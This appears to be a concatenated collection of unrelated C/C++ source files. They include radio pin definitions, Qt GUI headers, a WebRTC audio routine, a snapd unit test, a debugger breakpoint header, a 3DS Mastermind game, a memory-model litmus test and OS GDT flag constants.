//#define FREQUENCY RF69_915MHZ
#define IS_RFM69HCW true // set to 'true' if you are using an RFM69HCW module
#define POWER_LEVEL 31
/*-------------------PIN DEFINITIONS----------------------*/
#if defined(ESP8266)
# define RFM69_CS D1
# define RFM69_IRQ D8 // GPIO15/D8
# define RFM69_IRQN digitalPinToInterrupt(RFM69_IRQ)
# define RFM69_RST D4 // GPIO02/D4
#elif defined(ESP32)
# define RFM69_CS 1
# define RFM69_IRQ 8 // GPIO15/D8
# define RFM69_IRQN digitalPinToInterrupt(RFM69_IRQ)
# define RFM69_RST 4 // GPIO02/D4
#else
//RFM69 not tested with arduino
# define RFM69_CS 10
# define RFM69_IRQ 0
# define RFM69_IRQN digitalPinToInterrupt(RFM69_IRQ)
# define RFM69_RST 9
#endif
#endif
|
#ifndef ___MAXSUBSEQ__H__
#define __MAXSUBSEQ__H__
#include <vector>
#include <iostream>
class MaxSubSeq
{
public:
std::tuple<int, int, int> fuerzaBruta();
std::tuple<int, int, int> findMaxCrossSub(int l, int m, int h);
std::tuple<int, int, int> findMaxSubArray(int l, int h);
void inicializar(int n);
std::vector<int> getValores();
std::vector<int> getDerivadas();
private:
int numPeriodos;
std::vector<int>valores;
std::vector<int>derivadas;
};
#endif
|
/**
* @file ic_common_types.c
* @Author Paweł Kaźmierzewski <p.kazmierzewski@inteliclinic.com>
* @date October, 2017
* @brief Brief description
*
* Description
*/
#include "ic_common_types.h"
const char *g_return_val_string[] = {
"IC_SUCCESS",
"IC_BLE_NOT_CONNECTED",
"IC_BUSY",
"IC_DRIVER_BUSY",
"IC_SOFTWARE_BUSY",
"IC_NOT_INIALIZED",
"IC_WARNING",
"IC_ERROR",
"IC_UNKNOWN_ERROR"
};
|
/****************************************************************************
**
** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
** This file is part of the demonstration applications of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** GNU Lesser General Public License Usage
** This file may be used under the terms of the GNU Lesser General Public
** License version 2.1 as published by the Free Software Foundation and
** appearing in the file LICENSE.LGPL included in the packaging of this
** file. Please review the following information to ensure the GNU Lesser
** General Public License version 2.1 requirements will be met:
** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU General
** Public License version 3.0 as published by the Free Software Foundation
** and appearing in the file LICENSE.GPL included in the packaging of this
** file. Please review the following information to ensure the GNU General
** Public License version 3.0 requirements will be met:
** http://www.gnu.org/copyleft/gpl.html.
**
** Other Usage
** Alternatively, this file may be used in accordance with the terms and
** conditions contained in a signed written agreement between you and Nokia.
**
**
**
**
**
** $QT_END_LICENSE$
**
****************************************************************************/
#ifndef DOCUMENT_H
#define DOCUMENT_H
#include <QWidget>
QT_FORWARD_DECLARE_CLASS(QUndoStack)
QT_FORWARD_DECLARE_CLASS(QTextStream)
class Shape
{
public:
enum Type { Rectangle, Circle, Triangle };
Shape(Type type = Rectangle, const QColor &color = Qt::red, const QRect &rect = QRect());
Type type() const;
QString name() const;
QRect rect() const;
QRect resizeHandle() const;
QColor color() const;
static QString typeToString(Type type);
static Type stringToType(const QString &s, bool *ok = 0);
static const QSize minSize;
private:
Type m_type;
QRect m_rect;
QColor m_color;
QString m_name;
friend class Document;
};
class Document : public QWidget
{
Q_OBJECT
public:
Document(QWidget *parent = 0);
QString addShape(const Shape &shape);
void deleteShape(const QString &shapeName);
Shape shape(const QString &shapeName) const;
QString currentShapeName() const;
void setShapeRect(const QString &shapeName, const QRect &rect);
void setShapeColor(const QString &shapeName, const QColor &color);
bool load(QTextStream &stream);
void save(QTextStream &stream);
QString fileName() const;
void setFileName(const QString &fileName);
QUndoStack *undoStack() const;
signals:
void currentShapeChanged(const QString &shapeName);
protected:
void paintEvent(QPaintEvent *event);
void mousePressEvent(QMouseEvent *event);
void mouseReleaseEvent(QMouseEvent *event);
void mouseMoveEvent(QMouseEvent *event);
private:
void setCurrentShape(int index);
int indexOf(const QString &shapeName) const;
int indexAt(const QPoint &pos) const;
QString uniqueName(const QString &name) const;
QList<Shape> m_shapeList;
int m_currentIndex;
int m_mousePressIndex;
QPoint m_mousePressOffset;
bool m_resizeHandlePressed;
QString m_fileName;
QUndoStack *m_undoStack;
};
#endif // DOCUMENT_H
|
#ifndef _PLAYER
#define _PLAYER
#pragma once
#include "Grid.h"
#include "userMap.h"
#include "ofxXmlSettings.h"
class Player: public Grid
{
public:
Player(int rows, int cols, Model* m, ofVec3f p, string color);
void update();
void draw();
void keyPressed(int key);
userMap* getUserMapRef(){return _uM;}
void savePosture(string filename="postures.xml");
bool isReady(){return _isReady;}
void isReady(bool b){_isReady = b;}
int capturesDone(){return _capturesDone;}
private:
userMap* _uM; //delete!
ofxXmlSettings XML;
bool _isReady;
int _capturesDone;
};
#endif
|
/*
Sysmo NMS Network Management and Monitoring solution (https://sysmo-nms.github.io)
Copyright (c) 2012-2017 Sebastien Serre <ssbx@sysmo.io>
Sysmo NMS is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Sysmo NMS is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Sysmo. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef MONITORACTIONCONFIG_H
#define MONITORACTIONCONFIG_H
#include <QDialog>
#include <QString>
#include <QTreeWidget>
#include <QWidget>
class MonitorActionConfig : public QDialog {
Q_OBJECT
private:
QString target;
QTreeWidget *tree_widget;
public:
explicit MonitorActionConfig(QWidget* parent, QString target);
};
#endif // MONITORACTIONCONFIG_H
|
/*
* linear algebra algorithms
*/
#ifndef linear_algebra_h
#define linear_algebra_h
#include "dinrhiw_blas.h"
#include <vector>
namespace whiteice
{
namespace math
{
template <typename T> class vertex;
template <typename T> class matrix;
/* calculates gram-schimdt orthonormalization for given
* (partial) basis { B(i,:), B(i+1,:), ... B(j-1,:) }
* basis vectors are rows of given matrix
*/
template <typename T>
bool gramschmidt(matrix<T>& B, const unsigned int i, const unsigned int j);
template <typename T>
bool gramschmidt(std::vector< vertex<T> >& B, const unsigned int i, const unsigned int j);
extern template bool gramschmidt< blas_real<float> >
(matrix< blas_real<float> >& B, const unsigned int i, const unsigned int j);
extern template bool gramschmidt< blas_real<double> >
(matrix< blas_real<double> >& B, const unsigned int i, const unsigned int j);
extern template bool gramschmidt< blas_complex<float> >
(matrix< blas_complex<float> >& B, const unsigned int i, const unsigned int j);
extern template bool gramschmidt< blas_complex<double> >
(matrix< blas_complex<double> >& B, const unsigned int i, const unsigned int j);
extern template bool gramschmidt<float>
(matrix<float>& B, const unsigned int i, const unsigned int j);
extern template bool gramschmidt<double>
(matrix<double>& B, const unsigned int i, const unsigned int j);
extern template bool gramschmidt< blas_real<float> >
(std::vector< vertex< blas_real<float> > >& B, const unsigned int i, const unsigned int j);
extern template bool gramschmidt< blas_real<double> >
(std::vector< vertex< blas_real<double> > >& B, const unsigned int i, const unsigned int j);
extern template bool gramschmidt< blas_complex<float> >
(std::vector< vertex< blas_complex<float> > >& B, const unsigned int i, const unsigned int j);
extern template bool gramschmidt< blas_complex<double> >
(std::vector< vertex< blas_complex<double> > >& B, const unsigned int i, const unsigned int j);
extern template bool gramschmidt<float>
(std::vector< vertex<float> >& B, const unsigned int i, const unsigned int j);
extern template bool gramschmidt<double>
(std::vector< vertex<double> >& B, const unsigned int i, const unsigned int j);
}
}
#include "matrix.h"
#include "vertex.h"
#endif
|
#ifndef GRAPHICEVENTITEM_H
#define GRAPHICEVENTITEM_H
#include<QGraphicsItem>
#include<QGraphicsSceneDragDropEvent>
#include<QColor>
#include<QPen>
#include<QPainter>
#include<iostream>
#include"Views/GraphicStoryView/Items/graphicstoryitem.h"
#include"CoreObjects/event.h"
#include<QPainterPath>
using namespace std;
using namespace Xeml::Document;
class GraphicEventItem : public QGraphicsItem
{
public:
GraphicEventItem(Event *e,qreal _posx,QString _label,QDateTime _startdate,QDateTime _eventdate,QGraphicsItem* parent = 0);
enum { Type = QGraphicsItem::UserType + 2 };
int type() const{return Type;}
~GraphicEventItem();
QRectF boundingRect() const;
//QPainterPath shape() const;
void paint(QPainter *painter, const QStyleOptionGraphicsItem *option,QWidget *widget);
QString get_label();
void change();
QRectF get_rect();
Event * get_event();
QGraphicsItem * get_parent();
void set_parent(QGraphicsItem * _parent);
void set_label(QString _label);
void set_event(Event * _event);
private:
qreal posx;
QDateTime document_startDate;
QGraphicsItem * parent;
QRectF rect;
QString eventLabel;
Event * event;
QRectF boundingrect;
};
#endif // GRAPHICEVENTITEM_H
|
/*
* Copyright (C) Cybernetica AS
*
* All rights are reserved. Reproduction in whole or part is prohibited
* without the written consent of the copyright owner. The usage of this
* code is subject to the appropriate license agreement.
*/
#ifndef SHAREMIND_FILEDESCRIPTOR_H
#define SHAREMIND_FILEDESCRIPTOR_H
#include <unistd.h>
#include <sharemind/Posix.h>
#include "detail/ExceptionMacros.h"
#include "Exception.h"
namespace sharemind {
class FileDescriptor {
SHAREMIND_DETAIL_DEFINE_EXCEPTION(sharemind::Exception, Exception);
SHAREMIND_DETAIL_DEFINE_EXCEPTION_CONST_MSG(
Exception,
FailedToDuplicateException,
"Failed to duplicate file descriptor!");
public: /* Methods: */
FileDescriptor(FileDescriptor && move) noexcept
: m_fd(move.m_fd)
{ move.m_fd = -1; }
FileDescriptor(FileDescriptor const &) = delete;
FileDescriptor(int const fd = -1) noexcept : m_fd(fd) {}
~FileDescriptor() noexcept { close(); }
FileDescriptor & operator=(FileDescriptor && move) noexcept {
if (&move != this) {
close();
m_fd = move.m_fd;
move.m_fd = -1;
}
return *this;
}
FileDescriptor & operator=(FileDescriptor const &) = delete;
bool valid() const noexcept {
/* POSIX defines a file descriptor as a non-negative integer. It is not
possible to check the upper limit against OPEN_MAX, because it may
change during the execution of the process, hence one might end up
with valid file descriptors which are greater than or equal to
OPEN_MAX. */
return m_fd >= 0;
}
FileDescriptor duplicate() const {
return syscallLoop<FailedToDuplicateException>(
fcntl,
[](int const r) { return r != -1; },
nativeHandle(),
F_DUPFD_CLOEXEC,
0);
}
void reset(int const fd) noexcept {
if (m_fd != fd) {
close();
m_fd = fd;
}
}
int release() noexcept {
int const r = m_fd;
m_fd = -1;
return r;
}
void close() noexcept {
if (m_fd != -1) {
::close(m_fd);
m_fd = -1;
}
}
int nativeHandle() const noexcept { return m_fd; }
private: /* Fields: */
int m_fd;
};
} /* namespace sharemind { */
#endif /* SHAREMIND_FILEDESCRIPTOR_H */
|
/*
* Copyright (c) 2012 The WebRTC@AnyRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
#include "webrtc/common_audio/signal_processing/include/signal_processing_library.h"
#include <assert.h>
size_t WebRtcSpl_AutoCorrelation(const int16_t* in_vector,
size_t in_vector_length,
size_t order,
int32_t* result,
int* scale) {
int32_t sum = 0;
size_t i = 0, j = 0;
int16_t smax = 0;
int scaling = 0;
assert(order <= in_vector_length);
// Find the maximum absolute value of the samples.
smax = WebRtcSpl_MaxAbsValueW16(in_vector, in_vector_length);
// In order to avoid overflow when computing the sum we should scale the
// samples so that (in_vector_length * smax * smax) will not overflow.
if (smax == 0) {
scaling = 0;
} else {
// Number of bits in the sum loop.
int nbits = WebRtcSpl_GetSizeInBits((uint32_t)in_vector_length);
// Number of bits to normalize smax.
int t = WebRtcSpl_NormW32(WEBRTC_SPL_MUL(smax, smax));
if (t > nbits) {
scaling = 0;
} else {
scaling = nbits - t;
}
}
// Perform the actual correlation calculation.
for (i = 0; i < order + 1; i++) {
sum = 0;
/* Unroll the loop to improve performance. */
for (j = 0; i + j + 3 < in_vector_length; j += 4) {
sum += (in_vector[j + 0] * in_vector[i + j + 0]) >> scaling;
sum += (in_vector[j + 1] * in_vector[i + j + 1]) >> scaling;
sum += (in_vector[j + 2] * in_vector[i + j + 2]) >> scaling;
sum += (in_vector[j + 3] * in_vector[i + j + 3]) >> scaling;
}
for (; j < in_vector_length - i; j++) {
sum += (in_vector[j] * in_vector[i + j]) >> scaling;
}
*result++ = sum;
}
*scale = scaling;
return order + 1;
}
|
/*
* Copyright (C) 2018 Canonical Ltd
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 3 as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
#include "feature.h"
#include "feature.c"
#include <limits.h>
#include <glib.h>
#include "string-utils.h"
#include "test-utils.h"
static char *sc_testdir(void)
{
char *d = g_dir_make_tmp(NULL, NULL);
g_assert_nonnull(d);
g_test_queue_free(d);
g_test_queue_destroy((GDestroyNotify) rm_rf_tmp, d);
return d;
}
// Set the feature flag directory to given value, useful for cleanup handlers.
static void set_feature_flag_dir(const char *dir)
{
feature_flag_dir = dir;
}
// Mock the location of the feature flag directory.
static void sc_mock_feature_flag_dir(const char *d)
{
g_test_queue_destroy((GDestroyNotify) set_feature_flag_dir,
(void *)feature_flag_dir);
set_feature_flag_dir(d);
}
static void test_feature_enabled__missing_dir(void)
{
const char *d = sc_testdir();
char subd[PATH_MAX];
sc_must_snprintf(subd, sizeof subd, "%s/absent", d);
sc_mock_feature_flag_dir(subd);
g_assert(!sc_feature_enabled(SC_PER_USER_MOUNT_NAMESPACE));
}
static void test_feature_enabled__missing_file(void)
{
const char *d = sc_testdir();
sc_mock_feature_flag_dir(d);
g_assert(!sc_feature_enabled(SC_PER_USER_MOUNT_NAMESPACE));
}
static void test_feature_enabled__present_file(void)
{
const char *d = sc_testdir();
sc_mock_feature_flag_dir(d);
char pname[PATH_MAX];
sc_must_snprintf(pname, sizeof pname, "%s/per-user-mount-namespace", d);
g_file_set_contents(pname, "", -1, NULL);
g_assert(sc_feature_enabled(SC_PER_USER_MOUNT_NAMESPACE));
}
static void __attribute__ ((constructor)) init(void)
{
g_test_add_func("/feature/missing_dir",
test_feature_enabled__missing_dir);
g_test_add_func("/feature/missing_file",
test_feature_enabled__missing_file);
g_test_add_func("/feature/present_file",
test_feature_enabled__present_file);
}
|
#ifndef _BREAKPOINT_H
#define _BREAKPOINT_H
#include "_global.h"
#include "TitanEngine\TitanEngine.h"
//macros
#define TITANSETDRX(titantype, drx) titantype &= 0x0FF; titantype |= (drx<<8)
#define TITANGETDRX(titantype) (titantype >> 8) & 0xF
#define TITANSETTYPE(titantype, type) titantype &= 0xF0F; titantype |= (type<<4)
#define TITANGETTYPE(titantype) (titantype >> 4) & 0xF
#define TITANSETSIZE(titantype, size) titantype &= 0xFF0; titantype |= size;
#define TITANGETSIZE(titantype) titantype & 0xF
//enums
enum BP_TYPE
{
BPNORMAL = 0,
BPHARDWARE = 1,
BPMEMORY = 2
};
//structs
struct BREAKPOINT
{
uint addr;
bool enabled;
bool singleshoot;
bool active;
short oldbytes;
BP_TYPE type;
DWORD titantype;
char name[MAX_BREAKPOINT_SIZE];
char mod[MAX_MODULE_SIZE];
};
//typedefs
typedef bool (*BPENUMCALLBACK)(const BREAKPOINT* bp);
//functions
int bpgetlist(std::vector<BREAKPOINT>* list);
bool bpnew(uint addr, bool enabled, bool singleshoot, short oldbytes, BP_TYPE type, DWORD titantype, const char* name);
bool bpget(uint addr, BP_TYPE type, const char* name, BREAKPOINT* bp);
bool bpdel(uint addr, BP_TYPE type);
bool bpenable(uint addr, BP_TYPE type, bool enable);
bool bpsetname(uint addr, BP_TYPE type, const char* name);
bool bpsettitantype(uint addr, BP_TYPE type, int titantype);
bool bpenumall(BPENUMCALLBACK cbEnum);
bool bpenumall(BPENUMCALLBACK cbEnum, const char* module);
int bpgetcount(BP_TYPE type, bool enabledonly = false);
void bptobridge(const BREAKPOINT* bp, BRIDGEBP* bridge);
void bpcachesave(JSON root);
void bpcacheload(JSON root);
void bpclear();
#endif // _BREAKPOINT_H
|
#include <3ds.h>
#include <stdlib.h>
#include "touch.h"
#include "render.h"
//Sorry for the mess XD, doesn't look as nice from the inside as it does from the outside...
int full_field[28]={}; //Field on top screen
int full_judgement[28]={}; //All black white/empty markers of judgement
int local_field[]={0,0,0,0}; //Colors for current move on bottom screen 0=none
int ans[4]={};
int cur_field=0; //Selected field on bottom screen
int cur_row=0; //0 is first row
bool cur_visable=true;
int win=0;
int cheat=0;
int state=1; //0: Mode select 1: CPU game 2: 2-Player code selector 3: 2-Player guess
int difficulty=0; //0: easy 1: normal 2: hard
int modeselector=0;
int col_amount=8;
void resetGame(){
//Init all vars
u64 timeInSeconds = osGetTime() / 1000;
srand (timeInSeconds);
cur_field=0;
cur_row=0;
win=0;
int x;
for (x=0; x < 4; x++){
local_field[x]=0;
ans[x]=(rand() % col_amount)+1;
}
for (x=0; x < 28; x++){
full_field[x]=0;
full_judgement[x]=0;
}
}
void startGame(int mode){
resetGame();
if (difficulty == 0){
col_amount=6;
}else if (difficulty == 1){
col_amount=7;
}else{
col_amount=8;
}
int x;
int y;
for (x=0; x < 4; x++){
y=(rand() % col_amount)+1;
ans[x]=y;
}
if (mode == 1)
state=2;
if (mode == 2)
state=1;
}
void submitTry(){
if (state != 2){
if (local_field[0] > 0 && local_field[1] > 0 && local_field[2] > 0 && local_field[3] > 0 && cur_row < 7 && !win){
int black=0;
int white=0;
int x;
int checked[]={0,0,0,0};
for (x=0; x < 4; x++){
full_field[cur_row*4+x]=local_field[x];
if (local_field[x]==ans[x]){
black+=1;
if (checked[x] == 1)
white-=1;
checked[x]=1;
}else{
int y;
for (y=0; y<4; y++){
if (local_field[x]==ans[y] && checked[y] != 1){
white+=1;
checked[y]=1;
break;
}
}
}
local_field[x]=0;
}
if (black == 4)
win=1;
int z;
for (z=0; z<4; z++){
if (black > 0){
full_judgement[cur_row*4+z]=1;
black-=1;
}else if (white > 0){
full_judgement[cur_row*4+z]=2;
white-=1;
}
}
cur_row+=1;
}
}else{
state=3;
cheat=0;
int x;
for (x=0; x<4; x++){
ans[x]=local_field[x];
local_field[x]=0;
}
}
}
bool secretCode(void)
{
static const u32 secret_code[] =
{
KEY_UP,
KEY_UP,
KEY_DOWN,
KEY_DOWN,
KEY_LEFT,
KEY_RIGHT,
KEY_LEFT,
KEY_RIGHT,
KEY_B,
KEY_A,
};
static u32 state = 0;
static u32 timeout = 30;
u32 down = hidKeysDown();
if(down & secret_code[state])
{
++state;
timeout = 30;
if(state == sizeof(secret_code)/sizeof(secret_code[0]))
{
state = 0;
return true;
}
}
if(timeout > 0 && --timeout == 0)
state = 0;
return false;
}
touchPosition touch;
int main(){
srvInit();
aptInit();
hidInit(NULL);
gfxInitDefault();
resetGame();
int x;
while (aptMainLoop()){
hidScanInput();
hidTouchRead(&touch);
u32 kDown = hidKeysDown();
//u32 kHeld = hidKeysHeld(); Not used an otherwise you'll get warning during compile, this makes compile more pleasant to look at yea!
if (state != 0 && cur_row != 7){
if (secretCode() && state != 3)
cheat=1;
if (kDown & KEY_TOUCH){
cur_visable=false;
}
if (kDown & KEY_RIGHT){
cur_field+=1;
if (cur_field > 3)
cur_field=0;
cur_visable=true;
}
if (kDown & KEY_LEFT){
cur_field-=1;
if (cur_field < 0)
cur_field=3;
cur_visable=true;
}
if (kDown & KEY_UP){
local_field[cur_field]+=1;
if (local_field[cur_field] > col_amount)
local_field[cur_field]=1;
cur_visable=true;
}
if (kDown & KEY_DOWN){
local_field[cur_field]-=1;
if (local_field[cur_field] < 1)
local_field[cur_field]=col_amount;
cur_visable=true;
}
if (kDown & KEY_A)
submitTry();
if (touchInBox(touch,231,163,84,44))
submitTry();
if (touchInBox(touch,7,28,71,16)){
local_field[0]+=1;
if (local_field[0] > col_amount)
local_field[0]=1;
}
if (touchInBox(touch,85,28,71,16)){
local_field[1]+=1;
if (local_field[1] > col_amount)
local_field[1]=1;
}
if (touchInBox(touch,163,28,71,16)){
local_field[2]+=1;
if (local_field[2] > col_amount)
local_field[2]=1;
}
if (touchInBox(touch,241,28,71,16)){
local_field[3]+=1;
if (local_field[3] > col_amount)
local_field[3]=1;
}
if (touchInBox(touch,7,119,71,16)){
local_field[0]-=1;
if (local_field[0] <= 0)
local_field[0]=col_amount;
}
if (touchInBox(touch,85,119,71,16)){
local_field[1]-=1;
if (local_field[1] <= 0)
local_field[1]=col_amount;
}
if (touchInBox(touch,163,119,71,16)){
local_field[2]-=1;
if (local_field[2] <= 0)
local_field[2]=col_amount;
}
if (touchInBox(touch,241,119,71,16)){
local_field[3]-=1;
if (local_field[3] <= 0)
local_field[3]=col_amount;
}
if (state != 2){
for (x=0; x < 4; x++){
full_field[cur_row*4+x]=local_field[x];
}
}
}else if (state == 0){
if (touchInBox(touch,65,66,98,34))
modeselector=1;
if (touchInBox(touch,65,102,98,34))
modeselector=2;
if (modeselector != 0){
if (touchInBox(touch,168,65,88,22)){
difficulty=0;
startGame(modeselector);
}
if (touchInBox(touch,168,90,88,22)){
difficulty=1;
startGame(modeselector);
}
if (touchInBox(touch,168,125,88,22)){
difficulty=2;
startGame(modeselector);
}
}
}
if (touchInBox(touch,0,211,320,30)){
resetGame();
state=0;
modeselector=0;
}
if (touchInBox(touch,0,0,74,21))
break;
render(full_field, full_judgement, local_field, cur_field, cur_row, cur_visable, ans, win, cheat, state, modeselector);
gfxFlushBuffers();
gfxSwapBuffers();
gspWaitForEvent(GSPEVENT_VBlank0, false);
}
gfxExit();
hidExit();
aptExit();
srvExit();
return 0;
} |
/*
This file is part of DxTer.
DxTer is a prototype using the Design by Transformation (DxT)
approach to program generation.
Copyright (C) 2015, The University of Texas and Bryan Marker
DxTer is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
DxTer is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with DxTer. If not, see <http://www.gnu.org/licenses/>.
*/
#include "DLANode.h"
#if DOLLDLA
#include "regLoadStore.h"
class MaskedStore : public StoreFromRegs {
protected:
string m_maskVarName;
void SanityCheckInputDimensions();
public:
MaskedStore();
virtual NodeType GetType() const { return "MaskedStoreToRegs"; }
static Node* BlankInst() { return new MaskedStore(); }
virtual Node* GetNewInst() { return BlankInst(); }
virtual ClassType GetNodeClass() const {return GetClass();}
static ClassType GetClass() {return "MaskedStoreToRegs";}
void Prop();
void PrintCode(IndStream& out);
void AddVariables(VarSet& set) const;
};
#endif // DOLLDLA
|
#ifndef MDATASET_EXPORT_LIB_H
#define MDATASET_EXPORT_LIB_H
#ifdef EXPORT_LIB_MDATASET
#define EXPORT_MDATASET Q_DECL_EXPORT
#else
#define EXPORT_MDATASET Q_DECL_IMPORT
#endif
#endif // MDATASET_EXPORT_LIB_H
|
/* RF Kill monitor
* Copyright 2015 Michael Davidsaver <mdavidsaver@gmail.com>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef RFDEVICE_H
#define RFDEVICE_H
#include <QStringList>
#include <QString>
#include <QScopedPointer>
#include <QtDBus/QDBusConnection>
#include <QtDBus/QDBusAbstractAdaptor>
#include <QtDBus/QDBusObjectPath>
class RFDevice : public QObject
{
Q_OBJECT
class Proxy;
public:
enum State{Invalid=0,On,Soft,Hard};
enum Type{Wifi=0, Blue};
RFDevice(const QDBusConnection &, Type, quint32);
virtual ~RFDevice();
quint32 id;
QString name;
QDBusObjectPath path;
Type type;
State cur;
void setState(State s);
QScopedPointer<Proxy> proxy;
QDBusConnection conn;
};
class RFDevice::Proxy : public QDBusAbstractAdaptor
{
Q_OBJECT
Q_CLASSINFO("D-Bus Interface", "foo.rfkill.device")
Q_PROPERTY(QString name READ name)
Q_PROPERTY(int type READ type)
Q_PROPERTY(bool active READ active NOTIFY activeChanged)
Q_PROPERTY(int state READ state NOTIFY stateChanged)
friend class RFDevice;
public:
Proxy(RFDevice *);
~Proxy();
QString name() const{return self->name;}
bool active() const{return self->cur==RFDevice::On;}
int type() const{return self->type;}
int state() const{return self->cur;}
public slots:
static QStringList typeNames();
static QStringList stateNames();
signals:
void activeChanged(bool);
void stateChanged(int);
private:
RFDevice *self;
};
#endif // RFDEVICE_H
|
/* Copyright (C) 2018 Magnus Lång and Tuan Phong Ngo
* This benchmark is part of SWSC */
#include <assert.h>
#include <stdint.h>
#include <stdatomic.h>
#include <pthread.h>
atomic_int vars[4];
atomic_int atom_0_r1_1;
atomic_int atom_1_r1_1;
void *t0(void *arg){
label_1:;
int v2_r1 = atomic_load_explicit(&vars[0], memory_order_seq_cst);
int v3_r3 = v2_r1 ^ v2_r1;
int v4_r3 = v3_r3 + 1;
atomic_store_explicit(&vars[1], v4_r3, memory_order_seq_cst);
atomic_store_explicit(&vars[2], 1, memory_order_seq_cst);
int v12 = (v2_r1 == 1);
atomic_store_explicit(&atom_0_r1_1, v12, memory_order_seq_cst);
return NULL;
}
void *t1(void *arg){
label_2:;
int v6_r1 = atomic_load_explicit(&vars[2], memory_order_seq_cst);
int v7_r3 = v6_r1 ^ v6_r1;
int v8_r3 = v7_r3 + 1;
atomic_store_explicit(&vars[3], v8_r3, memory_order_seq_cst);
atomic_store_explicit(&vars[0], 1, memory_order_seq_cst);
int v13 = (v6_r1 == 1);
atomic_store_explicit(&atom_1_r1_1, v13, memory_order_seq_cst);
return NULL;
}
int main(int argc, char *argv[]){
pthread_t thr0;
pthread_t thr1;
atomic_init(&vars[0], 0);
atomic_init(&vars[2], 0);
atomic_init(&vars[1], 0);
atomic_init(&vars[3], 0);
atomic_init(&atom_0_r1_1, 0);
atomic_init(&atom_1_r1_1, 0);
pthread_create(&thr0, NULL, t0, NULL);
pthread_create(&thr1, NULL, t1, NULL);
pthread_join(thr0, NULL);
pthread_join(thr1, NULL);
int v9 = atomic_load_explicit(&atom_0_r1_1, memory_order_seq_cst);
int v10 = atomic_load_explicit(&atom_1_r1_1, memory_order_seq_cst);
int v11_conj = v9 & v10;
if (v11_conj == 1) assert(0);
return 0;
}
|
//
// Created by mskwarek on 06.08.18.
//
#include "dns_response_file_writer.h"
size_t write_raw_data(char *output_buf, size_t output_buf_size, const char *data)
{
if (data != NULL)
return snprintf(output_buf, output_buf_size, "%02x", *(data));
return 0;
}
size_t write_endl(char *output_buf, size_t output_buf_size)
{
return snprintf(output_buf, output_buf_size, "\n");
}
size_t write_rp_record(char *output_buf, size_t output_buf_size, const char *mailbox, const char *txt_rr)
{
return snprintf(output_buf, output_buf_size, "%s %s\n", mailbox, txt_rr);
}
size_t write_string_to_file(char *output_buf, size_t output_buf_size, const char *string)
{
return snprintf(output_buf, output_buf_size, "%s", string);
}
|
/* Copyright (C) 2008 Leonardo Taglialegne <leonardotaglialegne+tylyos@gmail.com>
* Copyright (C) 2008 Luca Salmin
*
* This file is part of TylyOS.
*
* TylyOS is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* TylyOS is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with TylyOS. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef GDTFLAGS_H_
#define GDTFLAGS_H_
#define RPL_USER 0x3
#define RPL_KERNEL 0x0
enum
{
/* V */
MEM_RO = 0x00, /*00|00|00|00 0=read only */
MEM_RW = 0x02, /*00|00|00|10 1=read and write */
/* V */
MEM_SYS = 0x00, /*00|00|00|00 0=sistema */
MEM_CODE_DATA = 0x10, /*00|01|00|00 1=codice o dati */
/* V */
MEM_DATA = 0x00, /*00|00|00|00 0=dati */
MEM_CODE = 0x08, /*00|00|10|00 1=codice */
MEM_TSS = 0x09, /*00|00|10|01 */
MEM_TSS_BUSY = 0x0B, /*00|00|10|11 */
/* V V */
MEM_KERNEL = 0x00, /*00|00|00|00 00=ring0 (kernel) */
MEM_RING1 = 0x20, /*00|10|00|00 01=ring1 */
MEM_RING2 = 0x40, /*01|00|00|00 10=ring2 */
MEM_USER = 0x60, /*01|10|00|00 11=ring3 (user) */
/*V */
MEM_NOT_PRESENT = 0x00, /*00|00|00|00 0=non presente */
MEM_PRESENT = 0x80 /*10|00|00|00 1=presente */
};
enum
{
MEM_16 = 0x00, /*00|00|00|00 segmento a 16bit */
MEM_32 = 0x40, /*01|00|00|00 segmento a 32bit */
MEM_FINE = 0x00, /*00|00|00|00 0=1byte */
MEM_GRANULAR = 0x80 /*10|00|00|00 1=4Kbyte */
};
#endif
|
/* library/scatterplot.h */
